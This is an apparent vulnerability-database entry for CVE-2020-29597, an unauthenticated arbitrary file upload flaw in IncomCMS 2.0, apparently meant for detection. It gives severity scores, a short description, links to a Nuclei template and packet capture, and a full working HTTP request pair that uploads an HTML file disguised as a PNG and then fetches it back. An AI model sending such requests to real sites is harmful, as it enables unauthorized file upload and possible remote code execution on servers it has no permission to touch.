🔙 목록으로 돌아가기

CVE-2020-29597: IncomCMS 2.0 - Arbitrary File Upload

TitleIncomCMS 2.0 - Arbitrary File Upload
Authorprincechaddha
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can result in unauthorized access, data leakage, and potential remote code execution.
RemediationApply the latest security patch or update to a version that addresses the vulnerability.
CVSS Score9.8
EPSS Score0.85276
CVE IDCVE-2020-29597
CWE IDCWE-434
Tags cve cve2020 incomcms fileupload intrusive incomcms_project vkev vuln

🔍 Vulnerability Description

IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server.

🌐 HTTP Request

POST /incom/modules/uploader/showcase/script.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: close
Content-Length: 235
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt
Accept-Encoding: gzip

------WebKitFormBoundaryBEJZt0IK73M2mAbt

Content-Disposition: form-data; name="Filedata"; filename="38FTbzUfst1FBdvchO5TEYOBiLw.png"

Content-Type: text/html



38FTbyXuWEul84MZylJsJKIycmR

------WebKitFormBoundaryBEJZt0IK73M2mAbt--
GET /upload/userfiles/image/38FTbzUfst1FBdvchO5TEYOBiLw.png HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-29597.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-29597.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A